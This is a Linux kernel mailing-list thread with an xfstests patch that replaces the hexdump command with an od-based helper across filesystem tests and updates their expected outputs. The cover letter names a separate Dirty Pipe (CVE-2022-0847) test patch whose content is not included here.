* [PATCH v3 0/2] xfstests: hexdump and CVE-2022-0847
@ 2022-04-11 16:37 Zorro Lang
2022-04-11 16:37 ` [PATCH v3 1/2] xfstests: replace hexdump with od command Zorro Lang
2022-04-11 16:37 ` [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847 Zorro Lang
0 siblings, 2 replies; 4+ messages in thread
From: Zorro Lang @ 2022-04-11 16:37 UTC (permalink / raw)
To: fstests; +Cc: guan
Thanks review points from Dave and Darrick. This patchset contains 2 patches:
[PATCH v3 1/2] xfstests: replace hexdump with od command
[PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847
[v3 1/2] Fix generic/404 failures on un-4k block size. Refer to:
https://lore.kernel.org/fstests/20220410171926.aanoxq2ybool5we5@zlang-mailbox/T/#u
[v3 2/2] Nothing changed
Thanks,
Zorro
== Messages from original V2 patch ==
[v2 1/2] did below changes:
1) Change g/404, remove od/hexdump command, generate md5 directly
2) Change g/042, remove -v option of od/hexdump
3) As Dave has given this V1 patch a "reviewed-by", so add it
[v2 2/2] did below changes:
1) remove _cleanup(), turn to use default _cleanup function
2) add "rm -f $localfile" before testing start
== Messages from original V1 patch ==
I've sent the V2 [2/2] last week[1], but due to the [2/2] hasn't been merged
and the [1/2] will affect [2/2]. So I send these two patches in one patchset
this time. Just please note, the [2/2] is the last version.
[1]
https://lore.kernel.org/fstests/20220320123932.1000005-1-zlang@redhat.com/
^ permalink raw reply [flat|nested] 4+ messages in thread
* [PATCH v3 1/2] xfstests: replace hexdump with od command
2022-04-11 16:37 [PATCH v3 0/2] xfstests: hexdump and CVE-2022-0847 Zorro Lang
@ 2022-04-11 16:37 ` Zorro Lang
2022-04-11 16:37 ` [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847 Zorro Lang
1 sibling, 0 replies; 4+ messages in thread
From: Zorro Lang @ 2022-04-11 16:37 UTC (permalink / raw)
To: fstests; +Cc: guan
The "od" is one of the most fundamental commands in GNU/Linux and
most Unix-like systems. So we nearly always can count on it, don't
need to check if it's installed.
The "hexdump" isn't such fundamental as "od", some systems don't
install it by default. And as "od" nearly can replace all functions
of "hexdump", so let's use an unified command "od" to do the hexdump
job in fstests cases.
Signed-off-by: Zorro Lang <zlang@redhat.com>
Reviewed-by: Dave Chinner <dchinner@redhat.com>
---
common/rc | 12 +
tests/ceph/002 | 2 +-
tests/ceph/002.out | 8 +-
tests/f2fs/001 | 4 +-
tests/f2fs/001.out | 16 +-
tests/generic/029 | 12 +-
tests/generic/029.out | 68 +--
tests/generic/030 | 12 +-
tests/generic/030.out | 48 +-
tests/generic/031 | 4 +-
tests/generic/031.out | 16 +-
tests/generic/032 | 2 +-
tests/generic/032.out | 4 +-
tests/generic/033 | 2 +-
tests/generic/033.out | 4 +-
tests/generic/042 | 4 +-
tests/generic/086 | 2 +-
tests/generic/086.out | 14 +-
tests/generic/404 | 2 +-
tests/generic/404.out | 996 +++++++++++++++++++++---------------------
tests/generic/536 | 4 +-
tests/generic/567 | 4 +-
tests/generic/567.out | 16 +-
tests/generic/612 | 4 +-
tests/generic/612.out | 8 +-
tests/generic/639 | 2 +-
tests/generic/639.out | 4 +-
27 files changed, 643 insertions(+), 631 deletions(-)
diff --git a/common/rc b/common/rc
index 17629801..ad60fad1 100644
--- a/common/rc
+++ b/common/rc
@@ -4906,6 +4906,18 @@ _require_kernel_config()
_has_kernel_config $1 || _notrun "Installed kernel not built with $1"
}
+_hexdump()
+{
+ # Hex format address and data output
+ od -Ax -t x1z $*
+}
+
+# Disable hexdump, turn to use "od" command in _hexdump
+hexdump()
+{
+ _fail "Use _hexdump(), please!"
+}
+
init_rc
################################################################################
diff --git a/tests/ceph/002 b/tests/ceph/002
index ac3d65b5..02f66842 100755
--- a/tests/ceph/002
+++ b/tests/ceph/002
@@ -59,7 +59,7 @@ $XFS_IO_PROG -c "truncate 0" $dest >> $seqres.full 2>&1
# copy the whole file over
$XFS_IO_PROG -c "copy_range -s 0 -d 0 -l $(($objsz * 3)) $file" "$dest"
-hexdump $dest
+_hexdump $dest
#success, all done
status=0
diff --git a/tests/ceph/002.out b/tests/ceph/002.out
index 6f067250..f7f1c0ba 100644
--- a/tests/ceph/002.out
+++ b/tests/ceph/002.out
@@ -1,8 +1,8 @@
QA output created by 002
-0000000 6161 6161 6161 6161 6161 6161 6161 6161
+000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 >aaaaaaaaaaaaaaaa<
*
-0400000 6262 6262 6262 6262 6262 6262 6262 6262
+400000 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 >bbbbbbbbbbbbbbbb<
*
-0800000 6363 6363 6363 6363 6363 6363 6363 6363
+800000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 >cccccccccccccccc<
*
-0c00000
+c000000
diff --git a/tests/f2fs/001 b/tests/f2fs/001
index e2429e46..1141a63e 100755
--- a/tests/f2fs/001
+++ b/tests/f2fs/001
@@ -45,9 +45,9 @@ $XFS_IO_PROG -c "truncate 96" -c "pwrite -S 0x58 8192 4096" $testfile 2>&1 \
| _filter_xfs_io_error
echo "==== check data contents ===="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
-hexdump -C $testfile
+_hexdump $testfile
rm $testfile
rm $dummyfile
diff --git a/tests/f2fs/001.out b/tests/f2fs/001.out
index 997aa5b2..8a11d3f4 100644
--- a/tests/f2fs/001.out
+++ b/tests/f2fs/001.out
@@ -7,15 +7,15 @@ fallocate: No space left on device
==== change i_size & write data ====
pwrite: No space left on device
==== check data contents ====
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000020 58 58 58 58 58 58 58 58 00 00 00 00 00 00 00 00 |XXXXXXXX........|
-00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000020 58 58 58 58 58 58 58 58 00 00 00 00 00 00 00 00 >XXXXXXXX........<
+000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00000060
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000060
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000020 58 58 58 58 58 58 58 58 00 00 00 00 00 00 00 00 |XXXXXXXX........|
-00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000020 58 58 58 58 58 58 58 58 00 00 00 00 00 00 00 00 >XXXXXXXX........<
+000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00000060
+000060
diff --git a/tests/generic/029 b/tests/generic/029
index 751e4f65..8b75c02a 100755
--- a/tests/generic/029
+++ b/tests/generic/029
@@ -39,10 +39,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
rm -f $testfile
sync
@@ -64,10 +64,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
# third case is the same as second case, just with non-1k aligned offsets and
# sizes.
@@ -84,10 +84,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
status=0
exit
diff --git a/tests/generic/029.out b/tests/generic/029.out
index 457982c6..cf6019aa 100644
--- a/tests/generic/029.out
+++ b/tests/generic/029.out
@@ -2,64 +2,64 @@ QA output created by 029
wrote 5120/5120 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-00001400
+001400
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-00001400
+001400
wrote 5120/5120 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000400 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 |WWWWWWWWWWWWWWWW|
+000400 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 >WWWWWWWWWWWWWWWW<
*
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-00001400
+001400
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000400 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 |WWWWWWWWWWWWWWWW|
+000400 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 >WWWWWWWWWWWWWWWW<
*
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-00001400
+001400
wrote 5121/5121 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000200 58 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 |XWWWWWWWWWWWWWWW|
-00000210 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 |WWWWWWWWWWWWWWWW|
+000200 58 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 >XWWWWWWWWWWWWWWW<
+000210 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 >WWWWWWWWWWWWWWWW<
*
-00000600 57 57 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |WWXXXXXXXXXXXXXX|
-00000610 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000600 57 57 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >WWXXXXXXXXXXXXXX<
+000610 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-000007f0 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 59 |XXXXXXXXXXXXXXXY|
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+0007f0 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 59 >XXXXXXXXXXXXXXXY<
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-000013f0 59 59 59 59 59 59 59 59 59 59 59 59 59 59 00 00 |YYYYYYYYYYYYYY..|
-00001400 00 |.|
-00001401
+0013f0 59 59 59 59 59 59 59 59 59 59 59 59 59 59 00 00 >YYYYYYYYYYYYYY..<
+001400 00 >.<
+001401
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000200 58 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 |XWWWWWWWWWWWWWWW|
-00000210 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 |WWWWWWWWWWWWWWWW|
+000200 58 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 >XWWWWWWWWWWWWWWW<
+000210 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 >WWWWWWWWWWWWWWWW<
*
-00000600 57 57 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |WWXXXXXXXXXXXXXX|
-00000610 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000600 57 57 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >WWXXXXXXXXXXXXXX<
+000610 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-000007f0 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 59 |XXXXXXXXXXXXXXXY|
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+0007f0 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 59 >XXXXXXXXXXXXXXXY<
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-000013f0 59 59 59 59 59 59 59 59 59 59 59 59 59 59 00 00 |YYYYYYYYYYYYYY..|
-00001400 00 |.|
-00001401
+0013f0 59 59 59 59 59 59 59 59 59 59 59 59 59 59 00 00 >YYYYYYYYYYYYYY..<
+001400 00 >.<
+001401
diff --git a/tests/generic/030 b/tests/generic/030
index 7c263702..c467bb74 100755
--- a/tests/generic/030
+++ b/tests/generic/030
@@ -44,10 +44,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
rm -f $testfile
sync
@@ -73,10 +73,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
# third case is the same as the first, but this time on unaligned byte
# boundaries rather than block boundaries. This mimics the exact mmap write
@@ -109,10 +109,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
status=0
exit
diff --git a/tests/generic/030.out b/tests/generic/030.out
index 20f6561e..f43a67b7 100644
--- a/tests/generic/030.out
+++ b/tests/generic/030.out
@@ -2,52 +2,52 @@ QA output created by 030
wrote 5137408/5137408 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-004e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+4e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-004e7000
+4e7000
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-004e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+4e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-004e7000
+4e7000
wrote 5137408/5137408 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-004e6000 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a |ZZZZZZZZZZZZZZZZ|
+4e6000 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a >ZZZZZZZZZZZZZZZZ<
*
-004e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+4e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-004e7000
+4e7000
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-004e6000 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a |ZZZZZZZZZZZZZZZZ|
+4e6000 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a >ZZZZZZZZZZZZZZZZ<
*
-004e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+4e6400 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-004e7000
+4e7000
wrote 5136912/5136912 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-004e6210 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+4e6210 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-004e6d00 59 59 59 59 59 59 59 59 00 00 00 00 00 00 00 00 |YYYYYYYY........|
-004e6d10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+4e6d00 59 59 59 59 59 59 59 59 00 00 00 00 00 00 00 00 >YYYYYYYY........<
+4e6d10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-004e7000
+4e7000
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-004e6210 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+4e6210 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-004e6d00 59 59 59 59 59 59 59 59 00 00 00 00 00 00 00 00 |YYYYYYYY........|
-004e6d10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+4e6d00 59 59 59 59 59 59 59 59 00 00 00 00 00 00 00 00 >YYYYYYYY........<
+4e6d10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-004e7000
+4e7000
diff --git a/tests/generic/031 b/tests/generic/031
index 313ce9ff..cbb2fc34 100755
--- a/tests/generic/031
+++ b/tests/generic/031
@@ -34,10 +34,10 @@ $XFS_IO_PROG -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
status=0
exit
diff --git a/tests/generic/031.out b/tests/generic/031.out
index 194bfa45..3669222e 100644
--- a/tests/generic/031.out
+++ b/tests/generic/031.out
@@ -4,16 +4,16 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
wrote 63394/63394 bytes at offset 133228
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-0001f860 00 00 00 00 00 00 00 00 00 00 00 00 cd cd cd cd |................|
-0001f870 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd |................|
+01f860 00 00 00 00 00 00 00 00 00 00 00 00 cd cd cd cd >................<
+01f870 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd >................<
*
-0002fdc0
+02fdc0
==== Post-Remount ==
-00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-0001f860 00 00 00 00 00 00 00 00 00 00 00 00 cd cd cd cd |................|
-0001f870 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd |................|
+01f860 00 00 00 00 00 00 00 00 00 00 00 00 cd cd cd cd >................<
+01f870 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd >................<
*
-0002fdc0
+02fdc0
diff --git a/tests/generic/032 b/tests/generic/032
index b3d13896..3302c1ee 100755
--- a/tests/generic/032
+++ b/tests/generic/032
@@ -85,7 +85,7 @@ wait
# clear page cache and dump the file
_scratch_cycle_mount
-hexdump $SCRATCH_MNT/file
+_hexdump $SCRATCH_MNT/file
status=0
exit
diff --git a/tests/generic/032.out b/tests/generic/032.out
index ca5376dc..0d8097f2 100644
--- a/tests/generic/032.out
+++ b/tests/generic/032.out
@@ -1,5 +1,5 @@
QA output created by 032
100 iterations
-0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd
+000000 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd >................<
*
-0100000
+100000
diff --git a/tests/generic/033 b/tests/generic/033
index 9dd854f2..d3b926e6 100755
--- a/tests/generic/033
+++ b/tests/generic/033
@@ -48,7 +48,7 @@ for i in $(seq 4096 8192 $endoff); do
done
_scratch_cycle_mount
-hexdump $file
+_hexdump $file
status=0
exit
diff --git a/tests/generic/033.out b/tests/generic/033.out
index 419d8313..7539b9a3 100644
--- a/tests/generic/033.out
+++ b/tests/generic/033.out
@@ -1,4 +1,4 @@
QA output created by 033
-0000000 0000 0000 0000 0000 0000 0000 0000 0000
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-0010000
+010000
diff --git a/tests/generic/042 b/tests/generic/042
index 9419606f..dbc65e33 100755
--- a/tests/generic/042
+++ b/tests/generic/042
@@ -57,9 +57,9 @@ _crashtest()
# We should /never/ see 0xCD in the file, because we wrote that pattern
# to the filesystem image to expose stale data.
- if hexdump -v -e '/1 "%02X "' $file | grep -q "CD"; then
+ if od -An -tx1 $file | grep -q "CD"; then
echo "Saw stale data!!!"
- hexdump $file
+ _hexdump $file
fi
$UMOUNT_PROG $mnt
diff --git a/tests/generic/086 b/tests/generic/086
index c5023081..509c4f38 100755
--- a/tests/generic/086
+++ b/tests/generic/086
@@ -49,7 +49,7 @@ echo 3 > /proc/sys/vm/drop_caches
$XFS_IO_PROG -c "pwrite -S 0xdd 67584 2048" $test_file >> $seqres.full 2>&1
# On a faulty ext4 oxbb data will be missing, overwritten by zeroes.
-hexdump -C $test_file
+_hexdump $test_file
# success, all done
status=0
diff --git a/tests/generic/086.out b/tests/generic/086.out
index 3c0cc838..7fd24802 100644
--- a/tests/generic/086.out
+++ b/tests/generic/086.out
@@ -1,14 +1,14 @@
QA output created by 086
-00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00001000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa |................|
+001000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa >................<
*
-00001800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+001800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00010000 bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb |................|
+010000 bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb >................<
*
-00010800 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd |................|
+010800 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd >................<
*
-00011000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+011000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00020000
+020000
diff --git a/tests/generic/404 b/tests/generic/404
index f1e8b0a8..939692eb 100755
--- a/tests/generic/404
+++ b/tests/generic/404
@@ -110,7 +110,7 @@ for (( block=3; block<=500; block++ )); do
# or blocks are in correct order, this commit:
# 2b3864b32403 ("ext4: do not polute the extents cache while shifting extents")
#
- md5=`hexdump -e '16/1 "%_p" "\n"' $testfile | md5sum`
+ md5=`od -An -c $testfile | md5sum`
printf "#%d %s\n" "$block" "$md5"
done
diff --git a/tests/generic/404.out b/tests/generic/404.out
index 9623cc2a..2880a59e 100644
--- a/tests/generic/404.out
+++ b/tests/generic/404.out
@@ -1,499 +1,499 @@
QA output created by 404
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+#432 5eee083e5418f6d065c65c9324908297 -
+#433 354bf4761c4275196942141d93a83094 -
+#434 afb6e84e4fe9664b5186db9c3b0dc4ff -
+#435 3c7fdf2edd8b9d147417cc3cad9c3ae7 -
+#436 3e260f0dc568c0cda97fd38091f7fdaa -
+#437 0ec1ed23928a186d835f5d88c78358fb -
+#438 a87f2d7f49ad684aee9a94d9afd60233 -
+#439 67aa3092cf0520555b55f30f9aaf8e5a -
+#440 a8bbde5f20c0a5a59aa5c762d6280935 -
+#441 9663e56d50b045f5a8359fdfa83d9b62 -
+#442 9b951842b3f5064e4fb2f3fb67d9cc44 -
+#443 d449765e3cbd2c34a57f25c7b37a3775 -
+#444 d70f87dc3ae0bb5727030d3bb0a3299b -
+#445 4ca8e9ed87ca8383556359c1a1ee90fa -
+#446 8d05d5fa7140a541fb73ed4b62cc3ee7 -
+#447 ed3daaab4cce96a9d828670043230818 -
+#448 6a45de3d624ffcac30e9a001bbafa826 -
+#449 1af40394e7240a7d04a80fe6615bb005 -
+#450 3b3ef2195774dfcd450c339b0519dd15 -
+#451 777b4778e07d536fe921c7fa533de5ca -
+#452 659e5470a2e91e827fa67af49c541d26 -
+#453 3a8bec0fb62f366787712e279c2a9ec6 -
+#454 00fed8013859d314a6cd82a418559079 -
+#455 b244639a6baf38918ebc465fbfc989bd -
+#456 04bd0671a49e3fe321821123171d355c -
+#457 27560491692b92bd9ba1a4d66e9d1d37 -
+#458 6c4d147c9c33c47bfac1b7c98c97e44d -
+#459 7ef56f79cda968546f18ab39b5a26aca -
+#460 68343927c603f8d4751fbede0c642a8b -
+#461 31ae8b1d58dd48c15acf75486612e641 -
+#462 27145ceb9ad32fdd292cab5d9b873f08 -
+#463 47635a9c4dbd032a8d3a8c5b566ca8f5 -
+#464 0acaadf052dd6370fd7ccccfa8cc4b6b -
+#465 75159dad67174946f51703e8ff6c0c70 -
+#466 fae4156ccdc465d0f729989fe5e84263 -
+#467 f89fa6636eacaf58be673d9c576b4c14 -
+#468 b8d2d7cbc99242e8870de3ea9c6a59a8 -
+#469 ed817d99b28dcc9d8f035bc1d7cab516 -
+#470 08f8ccdec28972e4e1237f2bbbe13ecc -
+#471 68289cc2930f2ef272aef8f77bd8e9b4 -
+#472 f848545fa8321e3d925b0aef82d551fb -
+#473 53291e3e404d36b07a5197bf95dd01b5 -
+#474 8e4657a6eeec1c0c741dcb1f13b621c4 -
+#475 68a5320f9e8b14ff97038f8894f6d231 -
+#476 efbfc528771686e4f55c1f5ad4ae29b6 -
+#477 0b68096303856442976c3ee55fca7fa0 -
+#478 0d2fca82b7ac384be218c941c533ab16 -
+#479 fd4870b2798aada41e9b920df0702d28 -
+#480 2e332c7f8ab24b55afbc0c49418215b4 -
+#481 f8c8a3e7ab4780af2b4ab08077e6ad6f -
+#482 1ae6adc4ae386711c1f5256f3f2a79ef -
+#483 4c04adeaccb2642fe87c5300eec5bb4a -
+#484 944c404c2bc6788ea981e278b292a0d1 -
+#485 fcf83d3f4aaf390cdb80e65e8d699736 -
+#486 14758cfe75279cf12e7d039d34f1e5ef -
+#487 c2e6cc1fdeac865f4f7c22c467a841ac -
